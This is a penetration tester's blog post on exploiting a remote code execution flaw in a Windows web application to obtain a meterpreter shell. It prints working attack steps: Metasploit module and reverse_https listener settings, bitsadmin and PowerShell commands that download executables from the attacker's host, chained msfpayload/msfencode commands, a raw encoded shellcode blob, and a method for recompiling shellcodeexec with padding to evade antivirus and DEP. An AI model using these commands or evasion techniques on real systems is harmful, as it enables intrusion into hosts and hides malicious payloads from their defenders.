CodeWatch

A while back I was performing a network penetration test and came across a remote code execution vulnerability in one of the web applications hosted at the site. It got me excited because I just knew it was going to result in some level of access to the host. It looked like a pretty simple vulnerability to exploit and Metasploit even had modules for the vulnerability. This was going to be too easy. Then I attempted to run the exploit and found out that it wasn’t going to be as simple as click, click, click, pwn as I thought, so I decided to blog about the approach.

One of the nice things about this vulnerability is that it is pretty easy to identify and validate; exploitation results in the first line of text output by whatever Windows executable you pass to it being written to the browser. For example, running `ipconfig.exe` results in this being output:

  Windows IP Configuration

 
Or running `whoami.exe` results in the name of the host and account running the application being output to screen:

  <victimhost>\<victimaccount>

 
I ran a few tests and knew the host was vulnerable, but when I ran the Metasploit exploit all I got was:

  [+] Exploitation was successful

 
A meterpreter session was never setup. The next step was making sure that the host could connect outbound to my host. The simplest tool to use is telnet, however, this was a Windows 2008 server and telnet wasn’t installed. I got this:

  'telnet.exe' is not recognized as an internal or external command,

 
I had to think for a moment what I could use on a plain Windows 2008 server to test outbound connectivity. Then I realized that `mstsc.exe` can be run from the command line and takes both an IP and a port number as options. I tried a few and struck gold with the following predictably allowed outbound ports:

  mstsc.exe /v:<AttackingIP>:80
  mstsc.exe /v:<AttackingIP>:443

 
I was running tcpdump on the attacking system to confirm the connections coming back. So then I went back to Metasploit and used 443 as my LPORT for the exploit to connect back to, selecting windows/meterpreter/reverse_https, so as to look like regular HTTPS traffic from the host:

  use exploit/windows/http/<remote_code_execution_vuln_I_used>
  set RHOST <VictimHost>
  set RPORT 80
  set TARGETURI /path/to/target
  set PAYLOAD windows/meterpreter/reverse_https
  set LHOST <AttackingIP>
  set LPORT 443
  run

 
Still no dice. I needed a way to make sure the payload was getting uploaded and executed and then troubleshoot from there. I spent a little time researching ways to download a file from the command line. First, I wanted to upload a benign executable to make sure the file upload worked. I had an ffmpeg.exe that I figured would make it past any potential AV and give me something to test so I put it in the root directory of a web server I loaded up for the attack. I looked at bitsadmin.exe first, and for what it’s worth, the following worked on my own host but failed on the victim host (I’m adding this to the post as it might work in other scenarios):

  bitsadmin.exe /transfer evil /download /priority normal 
    http://<AttackingIP>/ffmpeg.exe C:\Users\Public\Documents\ffmpeg.exe

 
I attempted uploading the exe to C:\Users\Public\Documents because I figured most, if not all accounts, will have access to this directory. Then I manually exploited the remote execution vulnerability to run C:\Users\Public\Documents\ffmpeg.exe and instead of getting the first line output by the command:

  ffmpeg version N-41074 Copyright (c) 2000-2012 the FFmpeg developers

 
I got:

  'ffmpeg.exe' is not recognized as an internal or external command,

 
Back to the drawing board on how to download a file on a Windows Server from the command line. I couldn’t think of any commands on Windows that are native that would work and searching came up with mostly nada (other than bitsadmin). I started thinking about vbscript and other scripting languages and then settled on researching how to do this with Powershell (if it was possible) and found something that worked:

  powershell.exe (new-object System.Net.WebClient).DownloadFile(
    'http://<AttackingIP>/ffmpeg.exe', 'C:\Users\Public\Documents\ffmpeg.exe')

 
So I tested out uploading the file to the vulnerable host and success! So at this point, I know the host is vulnerable and I know I can upload arbitrary files to it. Time to make an msfpayload executable. I ran the following commands to create an encoded meterpreter executable:

  msfpayload windows/meterpreter/reverse_https LHOST=<AttackingIP> LPORT=443 R | 
    msfencode -e x86/shikata_ga_nai -c 10 -t raw| 
    msfencode -e x86/alpha_mixed –c 5 -t raw | 
    msfencode -e x86/shikata_ga_nai -c 15 -t raw | 
    msfencode -e x86/alpha_upper -c 10 –t raw | 
    msfencode -e x86/shikata_ga_nai -c 5 -t exe -o who.exe 

 
I then I went to execute the payload, running a listener on the attacking host like so:

  use multi/handler
  set PAYLOAD windows/meterpreter/reverse_https
  set LHOST <AttackingIP>
  set LPORT 443
  run

 
Then I manually exploited the remote execution vulnerability to run C:\Users\Public\Documents\who.exe (note that this is the output name of the file I created above) and nothing happened. So I thought, maybe AV is picking up the file. I ran the executable through VirusTotal and sure enough it was picked up by all sorts of AV apps. For kicks, I tried using netcat as well, same result. I tried several different iterations of msfpayload with msfencode to no avail.

I needed a better way to hide the file. I tried packing the executable with `upx` but that didn’t work either (any suggestions on better packers?). I did some research and found this Metasploit evasion script: https://github.com/nccgroup/metasploitavevasion. This looked promising so I downloaded and ran it. Yay, quite a few AV vendors missed the meterpreter executable it created. I uploaded the file, was still running my meterpreter listener, and ran the executable. Still nothing, however; I DIDN’T get back a:

  'who.exe' is not recognized as an internal or external command,

 
Instead, I got absolutely nothing and the browser eventually timed out. This meant the file was uploaded and wasn’t picked up by AV, so something else was happening. I ran the executable on my Windows 7 host and it worked like a champ. I then uploaded to a Windows 2012 host and it gave me an error, which upon further research was a Data Execution Prevention (DEP) error. So I was a little closer but still being tripped up by security technology. Boo!

From what I understand, and found in research, the Metasploit windows/meterpreter/reverse_ord_tcp and windows/meterpreter/reverse_nonx_tcp were created to bypass DEP (maybe I misunderstood?). With that in mind, I modified the avoid.sh script found in the link above to use these payloads but still received the DEP error. Time to research DEP bypasses.

I found a few tools that I couldn’t get to work correctly, so I won’t list them here, but then I came across this blog: http://carnal0wnage.attackresearch.com/2011/07/process-injection-outside-of-metasploit.html. The shellcodeexec program mentioned in the post and found here: https://github.com/inquisb/shellcodeexec sounded promising. I downloaded the executable, put it on my Windows 2012 server, then ran the following (as outlined in the carnal0wnage blogpost) to create the meterpreter payload:

  msfpayload windows/meterpreter/reverse_https LHOST=<AttackingIP> LPORT=443 
    EXITFUNC=thread R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX 

 
Which results in output similar to:
PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI9lzHlIuPwpePCPOyKUtqjrRDNkCbfPLKQBDLlKcb
b4NkPrfHdO87qZVFfQyofQIPllelCQsLURtlgPJaxOFm5QYWIrXpv23gNkRr6pNkCrGLC1xPLKW0ahK5IPD40J
EQXPf0LKbhFxNkRxGPwqzsZCEl1Ynk7DnkWqxVTqyoEakpnLiQHOdMC19WDxypD5L4c3cM9hekama4sEm
2PXlK0XvDGq9C0fNkTLrklK1HGl7qICnkuTLKWqZpMYbdQ4DdskSkCQSiRz2qyoIp0XQO1JNkR2Hknf3mE82
NrET47pqxD7SY2NRI3d1xrlSG5vEW9oxUuayoPWV7sg67azuPbtsX6ZQF3ImwIoJujKco1KdqHIPQRqRJwsrq
CacXoKfaePuPQCPPRHSgniMO8F9okeJKW8QI6QIBv2Qxgp7Bi0Nd1BCb62SaqBbpQxJKruVN5kyohUMYjfB
JtP3kQxmPUc30Gpk9m03ZS4V02J7oV62H1e0FMNk6yoiE6QYo67cgSgsgCfbHTmWvtXcKKOXUlEkpt56zRk
rTB0JKhUxksyM8x3IoioyovOrZ0kVPaW7peP1xhpnUy2cf9okebJcpaxUP6pePS0Ph

Then, on the test host, I executed:

  shellcodeexec.exe <output payload>

 
Success! It bypassed DEP. I renamed shellcodeexec.exe to show.exe, uploaded to the victim host, and then exploited the vulnerability passing the output payload as a command line option and again NOTHING happened. I figured shellcodeexec was getting picked up by AV, and sure enough that was it as VirusTotal showed a majority of vendors identified it at this point.

After taking a few moments away to work on some other things, I got the idea to try to put together what I learned from the avoid.sh script and combine it with shellcodeexec. In looking through the avoid.sh script, I found that it creates a ridiculously long random string (like hundreds of thousands, maybe millions, of characters) that it shoves in to a C ‘char’ variable named padding at the beginning of the executable it compiles. So the idea was to combine this functionality and include the variable in the code for shellcodeexec, and then compile my own version of shellcodeexec.

The first step was to comment out the lines in avoid.sh that create the .c file and then run the script. This produces a file named build.c with the `unsigned char padding[]` variable discussed above. I then copied this line into shellcodeexec.c, right above:

  int main(int argc, char *argv[])

 
I loaded the code (the Win32 version of the code) into Visual Studio C++ Express (free here) and attempted to compile. I found that VS C++ has a limit of 16,380 characters for a string, chopped the string down to this size, and compiled successfully.

Now was the true test. I first tested running the executable with the generated payload on my system and it worked. Next, I ran the executable on my Windows 2012 server and at first it failed, complaining that msvcr100d.dll could not be found. Apparently, that is included with VS C++ Express but not standard on Windows server systems. I copied that DLL into the directory in which shellcodeexec was placed, ran shellcodeexec and passed it the payload and it worked, bypassing DEP. Finally, I uploaded the executable to VirusTotal and it was not caught by a single AV engine (0 of 48 detected it). Awesome! Now I was getting really excited.

I then used the Powershell code above within the remote code execution vulnerability to force the machine to download my new shellcodeexec executable, which I renamed to something innocuous, to C:\Users\Public\Documents. The msvcr100d.dll was uploaded directly thereafter with the same mechanism. With my Metasploit listener up and running, I used the vulnerability to call my uploaded shellcodeexec binary, passing it my raw generated payload and BINGO! I had a meterpreter shell.

Anyways, this was a fun example because I had to do a little work for it and I thought the information might prove useful to others. I’m not going to provide my custom shellcodeexec binary because I don’t want it to get added to all the AV engines and detected, but with the steps provided above you should be able to create your own. This is nice because it bypasses both AV and DEP in one shot.

Enjoy! I hope this was helpful to somebody.

Leave a Reply

Your email address will not be published. Required fields are marked *